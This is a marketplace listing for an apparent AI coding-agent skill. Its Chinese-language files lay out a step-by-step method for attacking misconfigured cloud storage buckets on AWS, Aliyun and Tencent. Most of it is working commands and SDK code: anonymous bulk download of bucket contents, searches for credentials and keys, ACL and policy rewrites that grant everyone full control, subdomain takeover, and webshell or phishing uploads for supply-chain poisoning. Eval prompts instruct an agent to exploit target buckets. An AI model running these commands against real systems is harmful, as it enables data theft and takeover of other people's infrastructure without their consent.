
Oss Bucket Exploit
- 24 installs
- 1.6k repo stars
- Updated July 19, 2026
- wgpsec/aboutsecurity
Helps with ai & agent building tasks during AI-assisted development.
About
oss-bucket-exploit is a Claude Code skill for ai & agent building. It helps solo builders move faster with AI-assisted coding.
- oss-bucket-exploit
- AI & Agent Building
- AI-coding skill
Oss Bucket Exploit by the numbers
- 24 all-time installs (skills.sh)
- +2 installs in the week ending Jul 27, 2026 (Skillselion tracking)
- Ranked #9,876 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill oss-bucket-exploitAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 24 |
|---|---|
| repo stars | ★ 1.6k |
| Last updated | July 19, 2026 |
| Repository | wgpsec/aboutsecurity ↗ |
What it does
Helps with ai & agent building tasks during AI-assisted development.
Files
对象存储 Bucket 误配利用方法论
对象存储是云上最常见的暴露面——Bucket 一旦配置公开读写,就等于把文件服务器直接暴露在互联网上。更危险的是 ACL 误配可以让攻击者接管整个 Bucket,进行钓鱼、供应链投毒、数据窃取。
⛔ 深入参考(必读)
- 各云厂商 Bucket 攻击详细命令(AWS/阿里云/腾讯云)、ACL 利用 Payload、Policy 构造、coscli 使用 → references/bucket-attack-methods.md
---
Phase 1: 识别对象存储
| 线索 | 云平台 | Bucket URL 格式 |
|---|---|---|
x-amz-* Header, Server: AmazonS3 | AWS S3 | BUCKET.s3.amazonaws.com 或 s3.REGION.amazonaws.com/BUCKET |
x-oss-* Header, .aliyuncs.com | 阿里云 OSS | BUCKET.oss-cn-REGION.aliyuncs.com |
x-cos-* Header, Server: tencent-cos, .myqcloud.com | 腾讯云 COS | BUCKET-APPID.cos.REGION.myqcloud.com |
x-obs-* Header, .myhuaweicloud.com | 华为云 OBS | BUCKET.obs.REGION.myhuaweicloud.com |
# 快速判断
curl -sI https://TARGET_URL | grep -iE 'x-amz|x-oss|x-cos|x-obs|AmazonS3|aliyuncs|myqcloud|tencent-cos'腾讯云 COS 特征
腾讯云 COS 的 Bucket 名称格式为 BUCKET-APPID,其中 APPID 是用户唯一标识。
# Bucket 访问域名格式
<BucketName-APPID>.cos.<Region>.myqcloud.com
# 示例
mybucket-1250000000.cos.ap-guangzhou.myqcloud.com
# 全局 Bucket 列表(需认证)
GET Service HTTP/1.1
Host: cos.ap-guangzhou.myqcloud.com---
Phase 2: 攻击决策树
发现对象存储?
├─ 1. 列出 Bucket 内容(公开读?)
│ ├─ 成功 → 搜索敏感文件(配置/备份/代码/凭据)
│ └─ 403 → 尝试 ACL 和 Policy 利用
├─ 2. 检查 ACL 误配(ACL 可读?ACL 可写?)
│ ├─ ACL 可写 → 修改 ACL 获取 FULL_CONTROL
│ └─ Object ACL 可写 → 修改单个 Object 权限
├─ 3. 检查 Bucket Policy 误配
│ ├─ Policy 可写 → 直接获取完整权限
│ └─ 条件绕过 → 利用 Policy 中的弱条件
├─ 4. 公开写入 → 上传 Webshell/钓鱼页面/供应链投毒
└─ 5. Bucket 接管(NoSuchBucket → 抢注同名 Bucket)---
Phase 3: 公开读检测与敏感文件搜索
AWS S3
aws s3 ls s3://BUCKET_NAME --no-sign-request
aws s3 sync s3://BUCKET_NAME ./loot --no-sign-request阿里云 OSS
curl -s "https://BUCKET.oss-cn-REGION.aliyuncs.com/?list-type=2"
ossutil ls oss://BUCKET --endpoint oss-cn-REGION.aliyuncs.com腾讯云 COS(优先使用 coscli)
# 方式 1: coscli(推荐,功能最全)
coscli ls cos://BUCKET-APPID/ -r
coscli ls cos://BUCKET-APPID/ -r --include "*.env" --include "*.sql"
# 方式 2: Python SDK(tccli 不支持 GetService)
# pip install cos-python-sdk-v5
# from qcloud_cos import CosConfig, CosS3Client
# client = CosS3Client(CosConfig(Region='ap-guangzhou', SecretId='Sid', SecretKey='Skey'))
# print(client.list_buckets())
# 方式 3: curl 直接访问(无需认证)
curl -s "https://BUCKET-APPID.cos.ap-guangzhou.myqcloud.com/"
# 返回 XML 列表 → 公开读
# 返回 AccessDenied → 非公开
# 下载文件
coscli cp cos://BUCKET-APPID/path/to/file ./
coscli cp cos://BUCKET-APPID/ ./loot/ -r # 批量下载敏感文件搜索
# coscli 搜索
coscli ls cos://BUCKET-APPID/ -r --include "*.env"
coscli ls cos://BUCKET-APPID/ -r --include "*.sql"
coscli ls cos://BUCKET-APPID/ -r --include "*.bak"
coscli ls cos://BUCKET-APPID/ -r --include "*.pem"
coscli ls cos://BUCKET-APPID/ -r --include "config*"敏感文件关键词:backup, .sql, .env, config, credential, password, .pem, .key, flag
---
Phase 4: ACL 误配利用
AWS S3 ACL
aws s3api get-bucket-acl --bucket BUCKET_NAME --no-sign-request腾讯云 COS ACL
# 查看 Bucket ACL(coscli)
coscli get-bucket-acl cos://BUCKET-APPID
# 查看 Bucket ACL(curl)
curl -s "https://BUCKET-APPID.cos.ap-guangzhou.myqcloud.com/?acl"
# 如果 ACL 中包含 AllUsers 或匿名访问 → 可进一步利用腾讯云 COS ACL 修改(需要写权限)
# coscli 设置 ACL
coscli put-bucket-acl cos://BUCKET-APPID --grant-full-control anyone
# 或通过 curl PUT ACL
cat > acl.xml << 'EOF'
<AccessControlPolicy>
<Owner>
<ID>qcs::cam::uin/OWNER_UIN:uin/OWNER_UIN</ID>
</Owner>
<AccessControlList>
<Grant>
<Grantee xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="Group">
<URI>http://cam.qcloud.com/groups/global/AllUsers</URI>
</Grantee>
<Permission>FULL_CONTROL</Permission>
</Grant>
</AccessControlList>
</AccessControlPolicy>
EOF
curl -X PUT "https://BUCKET-APPID.cos.ap-guangzhou.myqcloud.com/?acl" \
-H "Content-Type: application/xml" \
-d @acl.xml→ ACL 修改和 Policy 利用详细命令 → references/bucket-attack-methods.md
---
Phase 5: Bucket 接管
当访问子域名显示 NoSuchBucket、BucketNotFound 等错误时,原始 Bucket 已被删除但 DNS CNAME 仍指向它。
AWS S3
dig +short target-subdomain.example.com
# 返回 xxx.s3.amazonaws.com → 可能可接管
aws s3 mb s3://target-subdomain.example.com腾讯云 COS
# 确认 CNAME
dig +short target-subdomain.example.com
# 返回 *.cos.*.myqcloud.com → 可能可接管
# 如果返回 NoSuchBucket 错误
curl -s "https://BUCKET-APPID.cos.ap-guangzhou.myqcloud.com/" | grep -i "nosuchbucket"
# 在自己账号下创建同名 Bucket
coscli mb cos://BUCKET-APPID -e cos.ap-guangzhou.myqcloud.com
# 或使用 tccli(需要 SDK 辅助创建 COS 桶)
# tccli 没有直接的 create-bucket 命令,需要用 coscli 或 Python SDKPython SDK 创建 COS Bucket
from qcloud_cos import CosConfig, CosS3Client
secret_id = 'SecretId'
secret_key = 'SecretKey'
region = 'ap-guangzhou'
config = CosConfig(Region=region, SecretId=secret_id, SecretKey=secret_key)
client = CosS3Client(config)
# 创建同名 Bucket 接管子域名
response = client.create_bucket(Bucket='target-bucket-1250000000')
print(response)---
Phase 6: 任意文件上传利用
如果 Bucket 配置了公开写入:
AWS S3
aws s3 cp malicious.html s3://BUCKET_NAME/ --no-sign-request腾讯云 COS
# coscli 上传
coscli cp malicious.html cos://BUCKET-APPID/
# curl PUT 上传(无需认证)
curl -X PUT "https://BUCKET-APPID.cos.ap-guangzhou.myqcloud.com/test.html" \
-d '<html><body><h1>COS Writable</h1></body></html>'
# 如果 Bucket 支持 HTML 解析 → XSS/钓鱼
# 如果是静态网站托管 → 挂黑页/暗链
# 如果是应用资源 CDN → 供应链投毒---
腾讯云 COS 特有工具
coscli(腾讯云 COS 专用 CLI)
# 安装(根据系统架构选择对应版本)
# Linux amd64
wget https://cosbrowser.cloud.tencent.com/software/coscli/coscli-linux-amd64
mv coscli-linux-amd64 /usr/local/bin/coscli && chmod +x /usr/local/bin/coscli
# Linux arm64 → coscli-linux-arm64
# macOS arm64 (M1/M2) → coscli-darwin-arm64
# macOS amd64 (Intel) → coscli-darwin-amd64
# 配置(交互式,生成 ~/.cos.yaml)
coscli config init
# 按提示输入: SecretId, SecretKey, SessionToken(临时凭据时), APPID, Bucket-Region
# 常用命令
coscli ls # 列出所有桶
coscli ls cos://BUCKET-APPID/ -r # 递归列出桶内容
coscli cp local.txt cos://BUCKET-APPID/remote.txt # 上传
coscli cp cos://BUCKET-APPID/remote.txt ./ # 下载
coscli rm cos://BUCKET-APPID/file.txt # 删除
coscli presign cos://BUCKET-APPID/file.txt # 生成预签名URL
coscli get-bucket-acl cos://BUCKET-APPID # 查看ACL
coscli put-bucket-acl cos://BUCKET-APPID --grant-read anyone # 设置ACLPython SDK (cos-python-sdk-v5)
当 coscli 或 tccli 无法实现特定操作时使用。
pip install cos-python-sdk-v5from qcloud_cos import CosConfig, CosS3Client
import json
secret_id = 'SecretId'
secret_key = 'SecretKey'
region = 'ap-guangzhou'
token = None # 临时凭据时填入 Token
config = CosConfig(Region=region, SecretId=secret_id, SecretKey=secret_key, Token=token)
client = CosS3Client(config)
# 列出所有桶
response = client.list_buckets()
# 列出桶内对象
response = client.list_objects(Bucket='bucket-1250000000')
# 获取 Bucket ACL
response = client.get_bucket_acl(Bucket='bucket-1250000000')
# 获取 Bucket Policy
response = client.get_bucket_policy(Bucket='bucket-1250000000')
# 获取 Bucket CORS
response = client.get_bucket_cors(Bucket='bucket-1250000000')
# 获取 Bucket 加密配置
response = client.get_bucket_encryption(Bucket='bucket-1250000000')
# 获取 Bucket 日志配置
response = client.get_bucket_logging(Bucket='bucket-1250000000')
# 下载文件
response = client.get_object(Bucket='bucket-1250000000', Key='secret.txt')
# 上传文件
response = client.put_object(Bucket='bucket-1250000000', Key='test.html', Body=b'<html>test</html>')
# 设置 Bucket ACL(公开读)
response = client.put_bucket_acl(Bucket='bucket-1250000000', ACL='public-read')
# 设置 Bucket Policy
policy = {
"version": "2.0",
"statement": [{
"effect": "allow",
"principal": {"qcs": ["qcs::cam::anyone:anyone"]},
"action": ["name/cos:*"],
"resource": [
"qcs::cos:ap-guangzhou:uid/1250000000:bucket-1250000000/*",
"qcs::cos:ap-guangzhou:uid/1250000000:bucket-1250000000"
]
}]
}
response = client.put_bucket_policy(Bucket='bucket-1250000000', Policy=json.dumps(policy))注意事项
- 对象存储误配非常常见,尤其是开发/测试环境
- Bucket 名称全局唯一(AWS/阿里云/腾讯云等),知道名称就可以尝试访问
- 修改 ACL/Policy 会产生操作日志(CloudTrail/ActionTrail/CloudAudit)
- 部分云厂商默认屏蔽了公开列出操作,但单个 Object 仍可能可访问
- 腾讯云 COS Bucket 名必须带 APPID 后缀(如
bucket-1250000000) - coscli 是腾讯云 COS 的专用工具,功能比 tccli cos 更全
- tccli 对 COS 支持有限(主要是
GetService列出桶),具体操作优先用 coscli 或 SDK
{
"skill_name": "oss-bucket-exploit",
"evals": [
{
"id": 1,
"prompt": "扫描到目标 assets.example.com 返回了 x-amz-request-id header,访问根路径返回 XML 列表,请利用这个 S3 Bucket",
"expected_output": "识别为 AWS S3 公开读 Bucket,列出内容搜索敏感文件,检测 ACL 误配",
"files": []
},
{
"id": 2,
"prompt": "访问 https://backup.target.com 返回 NoSuchBucket 错误,CNAME 指向 backup.target.com.s3.amazonaws.com",
"expected_output": "识别为 Bucket 接管场景,尝试创建同名 Bucket 接管子域名",
"files": []
},
{
"id": 3,
"prompt": "发现阿里云 OSS 地址 https://app-data.oss-cn-hangzhou.aliyuncs.com,可以列出文件但无法直接下载某些 Object",
"expected_output": "检查 Object ACL,尝试 ACL 修改获取读取权限",
"files": []
}
]
}
对象存储 Bucket 攻击方法详解
目录
1. AWS S3 攻击 2. 阿里云 OSS 攻击 3. 腾讯云 COS 攻击 4. 敏感文件搜索策略 5. Bucket 名称爆破
---
1. AWS S3 攻击
1.1 公开读 — 列出与下载
# 列出 Bucket 内容
aws s3 ls s3://BUCKET --no-sign-request
aws s3 ls s3://BUCKET --recursive --no-sign-request
# 下载全部内容
aws s3 sync s3://BUCKET ./loot --no-sign-request
# curl 方式(不需要 aws cli)
curl -s "https://BUCKET.s3.amazonaws.com/?list-type=2" | xmllint --format -
# 如果返回内容列表 → 公开读
# 如果返回 AccessDenied → 非公开1.2 Bucket ACL 可写 → 接管
# 查看 ACL
aws s3api get-bucket-acl --bucket BUCKET --no-sign-request
# 如果 AllUsers 有 WRITE_ACP 权限,构造 FULL_CONTROL ACL:
cat > acl.json << 'EOF'
{
"Owner": {
"ID": "OWNER_CANONICAL_ID_FROM_GET_ACL"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AllUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
EOF
# 写入新 ACL
aws s3api put-bucket-acl --bucket BUCKET --access-control-policy file://acl.json --no-sign-request
# 验证:现在可以完全控制 Bucket
aws s3 ls s3://BUCKET --no-sign-request
aws s3 cp test.txt s3://BUCKET/ --no-sign-request1.3 Object ACL 可写
# 查看 Object ACL
aws s3api get-object-acl --bucket BUCKET --key SECRET_FILE --no-sign-request
# 如果 WRITE_ACP → 修改为 FULL_CONTROL
cat > obj_acl.json << 'EOF'
{
"Owner": {"ID": "OWNER_ID"},
"Grants": [{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AllUsers"
},
"Permission": "FULL_CONTROL"
}]
}
EOF
aws s3api put-object-acl --bucket BUCKET --key SECRET_FILE --access-control-policy file://obj_acl.json --no-sign-request
# 现在可以读取
aws s3 cp s3://BUCKET/SECRET_FILE ./loot/ --no-sign-request1.4 Bucket Policy 可写
# 查看 Policy
aws s3api get-bucket-policy --bucket BUCKET --no-sign-request
# 如果可以写入 Policy → 授予自己完全访问
cat > policy.json << 'EOF'
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": "*",
"Action": "s3:*",
"Resource": ["arn:aws:s3:::BUCKET", "arn:aws:s3:::BUCKET/*"]
}]
}
EOF
aws s3api put-bucket-policy --bucket BUCKET --policy file://policy.json --no-sign-request1.5 Bucket 接管(NoSuchBucket)
# 探测:如果子域名 CNAME 指向 S3 但返回 NoSuchBucket
curl -sI https://assets.example.com
# 如果看到 <Code>NoSuchBucket</Code> 或 404 with S3 error
# 提取 Bucket 名
dig +short assets.example.com
# 如果返回 xxx.s3.amazonaws.com → Bucket 名就是 xxx
# 在你自己的 AWS 账号中创建同名 Bucket
aws s3 mb s3://assets.example.com --region us-east-1
# 上传控制页面
echo "<h1>Bucket Taken Over</h1>" > index.html
aws s3 cp index.html s3://assets.example.com/ --acl public-read
# 验证接管
curl https://assets.example.com/index.html---
2. 阿里云 OSS 攻击
2.1 公开读
# 列出 Bucket(curl 方式)
curl -s "https://BUCKET.oss-cn-REGION.aliyuncs.com/?list-type=2"
# ossutil 方式
ossutil ls oss://BUCKET --endpoint oss-cn-REGION.aliyuncs.com
# 下载文件
curl -s "https://BUCKET.oss-cn-REGION.aliyuncs.com/OBJECT_KEY" -o loot.txt2.2 Object 遍历
# 按前缀遍历
curl -s "https://BUCKET.oss-cn-REGION.aliyuncs.com/?prefix=backup"
curl -s "https://BUCKET.oss-cn-REGION.aliyuncs.com/?prefix=config"
curl -s "https://BUCKET.oss-cn-REGION.aliyuncs.com/?prefix=.env"2.3 公开写入
# PUT 上传文件
curl -X PUT "https://BUCKET.oss-cn-REGION.aliyuncs.com/test.html" \
-d '<html><body><h1>OSS Writable</h1></body></html>'---
3. 腾讯云 COS 攻击
腾讯云 COS 攻击使用 coscli(功能最全)或 Python SDK (cos-python-sdk-v5)。注意 tccli 不支持 COS 操作,不要用 tccli 操作 COS。
3.1 工具安装与配置
# 安装 coscli(根据系统架构选择对应版本)
# Linux amd64(最常见)
wget https://cosbrowser.cloud.tencent.com/software/coscli/coscli-linux-amd64
mv coscli-linux-amd64 /usr/local/bin/coscli && chmod +x /usr/local/bin/coscli
# Linux arm64 → coscli-linux-arm64
# macOS arm64 (M1/M2) → coscli-darwin-arm64
# macOS amd64 (Intel) → coscli-darwin-amd64
# 安装 Python SDK
pip install cos-python-sdk-v5
# 配置 coscli(交互式,生成 ~/.cos.yaml)
coscli config init
# 按提示输入: SecretId, SecretKey, SessionToken(临时凭据时), APPID, Bucket-Region
# 配置 tccli(辅助用)
tccli configure
# 或环境变量
export TENCENTCLOUD_SECRET_ID="AKIDxxx"
export TENCENTCLOUD_SECRET_KEY="xxx="3.2 公开读 — 列出与下载
# coscli(推荐)
coscli ls cos://BUCKET-APPID/ -r
coscli ls cos://BUCKET-APPID/ -r --include "*.env"
coscli cp cos://BUCKET-APPID/ ./loot/ -r
# curl 直接访问(无需认证)
curl -s "https://BUCKET-APPID.cos.ap-guangzhou.myqcloud.com/"
# 返回 XML 列表 → 公开读
# curl 下载单个文件
curl -s "https://BUCKET-APPID.cos.ap-guangzhou.myqcloud.com/secret.txt" -o loot.txt
# Python SDK 列出所有桶(tccli 不支持 GetService)
# from qcloud_cos import CosConfig, CosS3Client
# client = CosS3Client(CosConfig(Region='ap-guangzhou', SecretId='Sid', SecretKey='Skey'))
# print(client.list_buckets())3.3 Bucket ACL 利用
# 查看 Bucket ACL
coscli get-bucket-acl cos://BUCKET-APPID
# curl 方式查看 ACL
curl -s "https://BUCKET-APPID.cos.ap-guangzhou.myqcloud.com/?acl"
# 如果 ACL 中有 AllUsers 或匿名用户有 WRITE_ACP → 可修改 ACL
# 设置公开读写
coscli put-bucket-acl cos://BUCKET-APPID --grant-full-control anyone
# 设置公开读
coscli put-bucket-acl cos://BUCKET-APPID --grant-read anyone3.4 Bucket Policy 利用
# 查看 Bucket Policy
coscli get-bucket-policy cos://BUCKET-APPID
# curl 方式
curl -s "https://BUCKET-APPID.cos.ap-guangzhou.myqcloud.com/?policy"Python SDK 操作 Policy
import json
from qcloud_cos import CosConfig, CosS3Client
config = CosConfig(Region='ap-guangzhou', SecretId='SecretId', SecretKey='SecretKey')
client = CosS3Client(config)
# 获取 Policy
resp = client.get_bucket_policy(Bucket='bucket-1250000000')
print(resp['Policy'])
# 写入 Policy(如果权限允许)
policy = {
"version": "2.0",
"statement": [{
"effect": "allow",
"principal": {"qcs": ["qcs::cam::anyone:anyone"]},
"action": ["name/cos:GetObject", "name/cos:PutObject", "name/cos:GetBucket"],
"resource": [
"qcs::cos:ap-guangzhou:uid/1250000000:bucket-1250000000/*",
"qcs::cos:ap-guangzhou:uid/1250000000:bucket-1250000000"
]
}]
}
client.put_bucket_policy(Bucket='bucket-1250000000', Policy=json.dumps(policy))腾讯云 Policy 语法与 AWS 类似,但用qcs资源描述符和name/cos:Action格式。
3.5 Bucket CORS 配置检测
# 获取 CORS 配置
coscli get-bucket-cors cos://BUCKET-APPID
# Python SDK
from qcloud_cos import CosConfig, CosS3Client
config = CosConfig(Region='ap-guangzhou', SecretId='Sid', SecretKey='Skey')
client = CosS3Client(config)
resp = client.get_bucket_cors(Bucket='bucket-1250000000')3.6 Bucket 加密与日志
# 获取加密配置
resp = client.get_bucket_encryption(Bucket='bucket-1250000000')
# 获取日志配置(可能有敏感信息泄漏到其他桶)
resp = client.get_bucket_logging(Bucket='bucket-1250000000')
# 获取版本控制
resp = client.get_bucket_versioning(Bucket='bucket-1250000000')3.7 Bucket 接管(NoSuchBucket)
# 探测
curl -sI https://subdomain.example.com
# 如果 CNAME 指向 *.cos.*.myqcloud.com 且返回 NoSuchBucket
# 确认 CNAME
dig +short subdomain.example.com
# 返回 bucket-1250000000.cos.ap-guangzhou.myqcloud.com
# 在自己账号下创建同名 Bucket(需要相同的 BUCKET-APPID 名称)
# 注意: 腾讯云的 APPID 是固定的,只有原 APPID 的用户才能创建同名 Bucket
# 但如果 CNAME 中的 APPID 不正确或 Bucket 已被删除,可能可以接管
# 使用 coscli 创建
coscli mb cos://TARGET-BUCKET-APPID -e cos.ap-guangzhou.myqcloud.com
# 或使用 Python SDK
from qcloud_cos import CosConfig, CosS3Client
config = CosConfig(Region='ap-guangzhou', SecretId='Sid', SecretKey='Skey')
client = CosS3Client(config)
client.create_bucket(Bucket='target-bucket-1250000000')
# 上传接管页面
coscli cp index.html cos://TARGET-BUCKET-APPID/3.8 任意文件上传
# coscli 上传
coscli cp webshell.html cos://BUCKET-APPID/
# curl PUT 上传(无需认证时)
curl -X PUT "https://BUCKET-APPID.cos.ap-guangzhou.myqcloud.com/test.html" \
-H "Content-Type: text/html" \
-d '<html><body><h1>COS Writable</h1></body></html>'
# 验证上传
curl -s "https://BUCKET-APPID.cos.ap-guangzhou.myqcloud.com/test.html"3.9 预签名 URL 利用
# 生成预签名 URL(如果有读权限)
coscli presign cos://BUCKET-APPID/secret.txt
# 返回带签名的临时访问 URL,可分享给他人
# Python SDK 生成预签名 URL
from qcloud_cos import CosConfig, CosS3Client
config = CosConfig(Region='ap-guangzhou', SecretId='Sid', SecretKey='Skey')
client = CosS3Client(config)
url = client.get_presigned_url(Method='GET', Bucket='bucket-1250000000', Key='secret.txt', Expires=3600)
print(url)---
4. 敏感文件搜索策略
找到可列出的 Bucket 后,按优先级搜索:
coscli 搜索(腾讯云 COS)
coscli ls cos://BUCKET-APPID/ -r --include "*.env"
coscli ls cos://BUCKET-APPID/ -r --include "*.sql"
coscli ls cos://BUCKET-APPID/ -r --include "*.bak"
coscli ls cos://BUCKET-APPID/ -r --include "*.pem"
coscli ls cos://BUCKET-APPID/ -r --include "config*"
coscli ls cos://BUCKET-APPID/ -r --include "flag*"awscli 搜索(AWS S3)
aws s3 ls s3://BUCKET --recursive --no-sign-request | grep -iE '\.env|config|setting|\.yml|\.yaml|\.ini|\.conf'
aws s3 ls s3://BUCKET --recursive --no-sign-request | grep -iE '\.sql|\.bak|\.tar|\.zip|\.gz|backup|dump'
aws s3 ls s3://BUCKET --recursive --no-sign-request | grep -iE '\.pem|\.key|\.pfx|credential|secret|password|token'
aws s3 ls s3://BUCKET --recursive --no-sign-request | grep -iE 'flag'curl 搜索(通用)
# 遍历常见路径
for prefix in backup config .env credentials secrets data uploads logs; do
echo "=== $prefix ==="
curl -s "https://BUCKET-APPID.cos.ap-guangzhou.myqcloud.com/?prefix=$prefix" | grep -o '<Key>[^<]*</Key>'
done5. Bucket 名称爆破
如果知道组织名,可以猜测 Bucket 名称:
# 常见命名模式
ORGNAME-backup
ORGNAME-dev
ORGNAME-staging
ORGNAME-assets
ORGNAME-uploads
ORGNAME-logs
ORGNAME-data
ORGNAME-test
# 腾讯云 COS 特有模式(需要 APPID)
# 如果知道 APPID,可以尝试:
ORGNAME-APPID
ORGNAME-backup-APPID
ORGNAME-assets-APPID
ORGNAME-static-APPID
ORGNAME-log-APPID
ORGNAME-img-APPID
ORGNAME-media-APPID
# 工具
# https://github.com/nahamsec/lazys3
# https://github.com/RhinoSecurityLabs/pacu (AWS)
python3 lazys3.py ORGNAME